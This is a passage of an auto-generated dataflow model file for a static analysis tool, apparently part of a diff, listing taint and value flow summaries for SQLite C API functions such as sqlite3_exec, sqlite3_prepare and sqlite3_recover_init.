"sqlite3_commit_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pCommitArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_commit_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xCommitCallback]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_commit_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pCommitArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_compileoption_get", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_completion_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_context_db_handle", "(sqlite3_context *)", "", "Argument[*0].Field[**pOut].Field[**db]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_context_db_handle", "(sqlite3_context *)", "", "Argument[*0].Field[**pOut].Field[*db]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_collation16", "(sqlite3 *,const void *,int,void *,..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_collation", "(sqlite3 *,const char *,int,void *,..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_collation_v2", "(sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_function16", "(sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_create_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_create_function_v2", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_function_v2", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_create_function_v2", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_create_module", "(sqlite3 *,const char *,const sqlite3_module *,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_module", "(sqlite3 *,const char *,const sqlite3_module *,void *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_module", "(sqlite3 *,const char *,const sqlite3_module *,void *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_module_v2", "(sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_module_v2", "(sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..))", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_module_v2", "(sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..))", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_window_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_window_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_create_window_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_data_count", "(sqlite3_stmt *)", "", "Argument[*0].Field[*nResColumn]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_handle", "(sqlite3_stmt *)", "", "Argument[*0].Field[**db]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_handle", "(sqlite3_stmt *)", "", "Argument[*0].Field[*db]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_mutex", "(sqlite3 *)", "", "Argument[*0].Field[**mutex]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_mutex", "(sqlite3 *)", "", "Argument[*0].Field[*mutex]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_name", "(sqlite3 *,int)", "", "Argument[*0].Field[**aDb].Field[**zDbSName]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_name", "(sqlite3 *,int)", "", "Argument[*0].Field[**aDb].Field[*zDbSName]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_status", "(sqlite3 *,int,int *,int *,int)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_db_status", "(sqlite3 *,int,int *,int *,int)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_dbdata_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_decimal_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_declare_vtab", "(sqlite3 *,const char *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_deserialize", "(sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_errcode", "(sqlite3 *)", "", "Argument[*0].Field[*errCode]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_errcode", "(sqlite3 *)", "", "Argument[*0].Field[*errMask]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_errmsg16", "(sqlite3 *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_errmsg", "(sqlite3 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_errmsg", "(sqlite3 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_error_offset", "(sqlite3 *)", "", "Argument[*0].Field[*errByteOffset]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_errstr", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[*1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[*1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_expanded_sql", "(sqlite3_stmt *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_expert_analyze", "(sqlite3expert *,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_expert_count", "(sqlite3expert *)", "", "Argument[*0].Field[**pStatement].Field[*iId]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_expert_new", "(sqlite3 *,char **)", "", "Argument[0]", "ReturnValue[*].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_expert_new", "(sqlite3 *,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_expert_report", "(sqlite3expert *,int,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_expert_report", "(sqlite3expert *,int,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_expert_sql", "(sqlite3expert *,const char *,char **)", "", "Argument[*1]", "Argument[*0].Field[**pStatement].Field[**zSql]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_expert_sql", "(sqlite3expert *,const char *,char **)", "", "Argument[1]", "Argument[*0].Field[**pStatement].Field[**zSql]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_expert_sql", "(sqlite3expert *,const char *,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_extended_errcode", "(sqlite3 *)", "", "Argument[*0].Field[*errCode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_file_control", "(sqlite3 *,const char *,int,void *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_fileio_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_filename_database", "(const char *,sqlite3_filename)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_filename_database", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_filename_database", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_filename_journal", "(const char *,sqlite3_filename)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_filename_journal", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_filename_journal", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_filename_wal", "(const char *,sqlite3_filename)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_filename_wal", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_filename_wal", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_finalize", "(sqlite3_stmt *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_free_filename", "(const char *,sqlite3_filename)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_free_table", "(char **)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_free_table", "(char **)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_free_table", "(char **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_get_autocommit", "(sqlite3 *)", "", "Argument[*0].Field[*autoCommit]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_get_clientdata", "(sqlite3 *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_get_clientdata", "(sqlite3 *,const char *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "sqlite3_get_clientdata", "(sqlite3 *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[*1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[*1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_ieee_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_intck_error", "(sqlite3_intck *,const char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_error", "(sqlite3_intck *,const char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_error", "(sqlite3_intck *,const char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_message", "(sqlite3_intck *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_message", "(sqlite3_intck *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_open", "(sqlite3 *,const char *,sqlite3_intck **)", "", "Argument[*1]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_intck_open", "(sqlite3 *,const char *,sqlite3_intck **)", "", "Argument[0]", "Argument[**2].Field[**zDb].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_intck_open", "(sqlite3 *,const char *,sqlite3_intck **)", "", "Argument[0]", "Argument[**2].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_intck_open", "(sqlite3 *,const char *,sqlite3_intck **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_intck_open", "(sqlite3 *,const char *,sqlite3_intck **)", "", "Argument[1]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_intck_step", "(sqlite3_intck *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_test_sql", "(sqlite3_intck *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_test_sql", "(sqlite3_intck *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_unlock", "(sqlite3_intck *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_keyword_name", "(int,const char **,int *)", "", "Argument[0]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_keyword_name", "(int,const char **,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_keyword_name", "(int,const char **,int *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_last_insert_rowid", "(sqlite3 *)", "", "Argument[*0].Field[*lastRowid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_limit", "(sqlite3 *,int,int)", "", "Argument[*0].Field[*aLimit]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_limit", "(sqlite3 *,int,int)", "", "Argument[1]", "Argument[*0].Field[*aLimit]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_limit", "(sqlite3 *,int,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_limit", "(sqlite3 *,int,int)", "", "Argument[2]", "Argument[*0].Field[*aLimit]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_load_extension", "(sqlite3 *,const char *,const char *,char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_next_stmt", "(sqlite3 *,sqlite3_stmt *)", "", "Argument[*1].Field[**pVNext]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_next_stmt", "(sqlite3 *,sqlite3_stmt *)", "", "Argument[*1].Field[*pVNext]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_open16", "(const void *,sqlite3 **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_open_v2", "(const char *,sqlite3 **,int,const char *)", "", "Argument[2]", "Argument[**1].Field[*openFlags]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_overload_function", "(sqlite3 *,const char *,int)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_overload_function", "(sqlite3 *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_overload_function", "(sqlite3 *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_percentile_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[*1]", "Argument[**4]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v2", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[*1]", "Argument[**4]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v2", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v2", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v2", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v3", "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)", "", "Argument[*1]", "Argument[**5]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v3", "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v3", "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v3", "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v3", "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)", "", "Argument[3]", "Argument[**4].Field[*prepFlags]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[*1]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "sqlite3_prepare", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v2", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[*1]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "sqlite3_prepare_v2", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v2", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v2", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v3", "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)", "", "Argument[*1]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "sqlite3_prepare_v3", "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v3", "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v3", "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v3", "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)", "", "Argument[3]", "Argument[**4].Field[*prepFlags]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_profile", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pProfileArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_profile", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pProfileArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_profile", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xProfile]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_profile", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pProfileArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_progress_handler", "(sqlite3 *,int,..(*)(..),void *)", "", "Argument[**3]", "Argument[*0].Field[***pProgressArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_progress_handler", "(sqlite3 *,int,..(*)(..),void *)", "", "Argument[*3]", "Argument[*0].Field[**pProgressArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_progress_handler", "(sqlite3 *,int,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*nProgressOps]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_progress_handler", "(sqlite3 *,int,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*xProgress]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_progress_handler", "(sqlite3 *,int,..(*)(..),void *)", "", "Argument[3]", "Argument[*0].Field[*pProgressArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_randomness", "(int,void *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_realloc64", "(void *,sqlite3_uint64)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_realloc64", "(void *,sqlite3_uint64)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_realloc64", "(void *,sqlite3_uint64)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_realloc", "(void *,int)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_realloc", "(void *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_realloc", "(void *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_config", "(sqlite3_recover *,int,void *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_recover_config", "(sqlite3_recover *,int,void *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_recover_config", "(sqlite3_recover *,int,void *)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "sqlite3_recover_errcode", "(sqlite3_recover *)", "", "Argument[*0].Field[*errCode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_errmsg", "(sqlite3_recover *)", "", "Argument[*0].Field[**zErrMsg]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_errmsg", "(sqlite3_recover *)", "", "Argument[*0].Field[*zErrMsg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_finish", "(sqlite3_recover *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**zDb]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**zUri]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**zDb].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**zUri].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**zDb]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**zUri]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[**3]", "ReturnValue[*].Field[***pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[*1]", "ReturnValue[*].Field[**zDb]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[*3]", "ReturnValue[*].Field[**pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, 